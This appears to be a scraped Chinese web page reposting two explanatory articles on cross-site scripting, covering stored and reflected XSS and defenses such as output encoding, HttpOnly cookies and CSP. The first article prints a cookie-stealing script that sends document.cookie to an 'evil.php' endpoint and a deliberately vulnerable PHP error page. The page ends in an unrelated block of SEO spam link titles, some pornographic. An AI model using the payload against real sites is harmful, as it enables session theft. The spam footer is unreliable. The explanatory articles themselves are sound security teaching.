整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          淺談 React 中的 XSS 攻擊

          者:陳吉

          轉發鏈接:https://mp.weixin.qq.com/s/HweEFh78WXLawyQr_Vsl5g

          ss攻擊的全稱是Cross-Site Scripting (XSS)攻擊,是一種注入式攻擊。基本的做法是把惡意代碼注入到目標網站。由于瀏覽器在打開目標網站的時候并不知道哪些腳本是惡意的,所以瀏覽器會無差別執行惡意腳本,從而導致用戶信息和一些敏感信息被盜取和泄漏。

          xss一般分為兩種類型,持久化的xss和非持久化的xss。

          持久化xss

          下面這個例子演示了攻擊者如何通過注入惡意代碼去盜取用戶的cookie的。

          假設攻擊者在某個論壇發了個帖子,在帖子里包含了如下的惡意代碼

          <SCRIPT type="text/javascript">var adr = '../evil.php?cakemonster=' + escape(document.cookie);</SCRIPT>

          那么其他用戶在瀏覽這個帖子的時候,上面的代碼就會被瀏覽器執行,從而將用戶的cookie信息發送到了/evil.php?,這個攻擊者搭建的惡意站點。由于cookie里包含了用戶的一些登錄態和敏感信息,所以訪問這個帖子的用戶會面臨被盜號的風險。

          還原一下這次攻擊的過程

          • 攻擊者在論壇發了包含惡意代碼的帖子

          • 一般來說這個帖子的內容會保存在數據庫里(持久化)

          • 攻擊者誘導其他用戶去訪問這個帖子

          • 其他用戶訪問該帖子時網站后臺會從數據庫里讀取帖子的內容并發送給瀏覽器

          • 瀏覽器渲染帖子的內容時執行了惡意腳本

          • 惡意腳本將用戶的cookie偷偷發送給惡意網站evil.php

          非持久化的xss

          上面的例子攻擊代碼持久化在了數據庫里,非持久化的攻擊則不需要這樣,看下面的例子。

          假設我們有這樣的一個錯誤頁面,用php實現的

          <html>
          <body><? phpprint "Not found: " . urldecode($_SERVER["REQUEST_URI"]);?></body>
          </html>

          當用戶訪問的頁面不存在時候,上面的頁面會自動加載,并且print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);這一行會打印出不存在頁面的具體url。

          舉個例子,當用戶訪問www.example.com/page_missing頁面時,由于page_missing頁面不存在,所以example.com會自動跳轉到page_missing路徑,并在頁面上打印出Not found: page_missing字符串。

          如果攻擊者構造了這樣一個鏈接,誘導用戶訪問http://wwww.example.com/<script>alert("TEST");</script>,那么普通用戶訪問該鏈接時,因為/<script>alert("TEST");</script>會被打印在頁面上并當作普通腳本執行,這樣一來,如果攻擊者構造的腳本里包含獲取用戶敏感信息的代碼,那么用戶的信息將被泄漏。

          還原一下這次攻擊的過程

          • 攻擊者構造http://wwww.example.com/<script>alert("TEST");</script>鏈接,引誘普通用戶訪問

          • 普通用戶訪問后,跳轉到錯誤頁面

          • 錯誤頁面會執行惡意腳本,造成用戶信息泄漏

          總結

          xss攻擊是目前最常見的web攻擊形式,大家可以通過上面的例子管中窺豹一下,其核心的攻擊方式是惡意代碼注入,瀏覽器將注入的代碼當成普通腳本正常執行。


          作者:西邊人

          西說測試專欄作者

          站腳本攻擊(Cross-Site Scripting,XSS)是一種常見的網絡安全漏洞,攻擊者通過在受信任的網頁中注入惡意腳本,從而在用戶的瀏覽器中執行該惡意腳本。

          XSS 攻擊的一般過程如下:

          1. 攻擊者找到一個存在 XSS 漏洞的網站,通常是用戶輸入的地方,如搜索框、評論區等。
          2. 攻擊者在輸入框中注入惡意的腳本代碼,這些代碼可以是 JavaScript、HTML 或其他客戶端腳本語言。
          3. 用戶訪問了包含惡意腳本的網頁。
          4. 用戶的瀏覽器解析網頁時會執行惡意腳本,攻擊者可以利用這些腳本進行各種惡意操作,如竊取用戶的敏感信息、劫持用戶的會話、修改網頁內容等。

          XSS 攻擊可以分為以下幾種類型:

          1. 存儲型 XSS:惡意腳本被存儲在服務器上,當用戶請求包含惡意腳本的頁面時,腳本會從服務器上被取回并執行。
          2. 反射型 XSS:惡意腳本作為 URL 參數被發送到服務器,服務器將腳本插入到響應中并返回給用戶,用戶的瀏覽器解析并執行該腳本。
          3. DOM 型 XSS:惡意腳本通過修改網頁的 DOM 結構來執行攻擊,不涉及服務器的參與。

          為了防止 XSS 攻擊,可以采取以下幾種措施:

          1. 輸入驗證與過濾:對用戶輸入的數據進行驗證和過濾,確保只接受合法的輸入數據。
          2. 輸出編碼:在將用戶輸入的數據展示到網頁上時,對特殊字符進行轉義,確保將其作為純文本顯示而不會被解析為腳本。
          3. 使用 HTTP-only Cookie:將敏感信息存儲在 HTTP-only Cookie 中,防止惡意腳本竊取用戶的身份驗證憑據。
          4. Content Security Policy(CSP):通過設置合適的 CSP,限制網頁中可以加載和執行的資源,防止惡意腳本的注入。
          5. 安全的開發實踐:開發人員應該遵循安全的編碼和開發實踐,包括輸入驗證、輸出編碼、最小權限原則等。

          通過綜合采取這些安全措施,可以有效地減少 XSS 攻擊的風險,保護用戶的數據安全和隱私。


          主站蜘蛛池模板: 一本岛一区在线观看不卡| 成人精品一区二区三区电影| 国产一区中文字幕在线观看| 亚洲国产成人久久一区久久| 91一区二区视频| 熟妇人妻一区二区三区四区| 国产精品视频一区二区三区经| 国产精品免费一区二区三区| 亚洲熟女乱色一区二区三区 | 国模无码一区二区三区| 国产剧情国产精品一区| 无码精品人妻一区| 国产精品亚洲一区二区三区 | 国产日产久久高清欧美一区| 任你躁国语自产一区在| 国产亚洲3p无码一区二区| 精品国产香蕉伊思人在线在线亚洲一区二区| 综合无码一区二区三区四区五区| 成人日韩熟女高清视频一区| 国产精品亚洲产品一区二区三区| 国产成人一区二区在线不卡| 国产精品久久久久久麻豆一区| 无码国产精品一区二区免费模式 | 久久久91精品国产一区二区三区| 高清一区高清二区视频| 日本一区二区三区久久| 精品国产一区二区三区av片| 色欲AV蜜桃一区二区三| 国产一区二区三区播放心情潘金莲| 亚洲视频一区在线播放| 国产福利一区二区三区在线视频| 亚洲国产精品综合一区在线| 亚洲国产成人久久综合一区 | 精品一区二区三区水蜜桃| 波多野结衣电影区一区二区三区| 天码av无码一区二区三区四区| 高清一区二区三区视频| 伦理一区二区三区| 久久99精品国产一区二区三区| 久久国产精品最新一区| 97久久精品无码一区二区|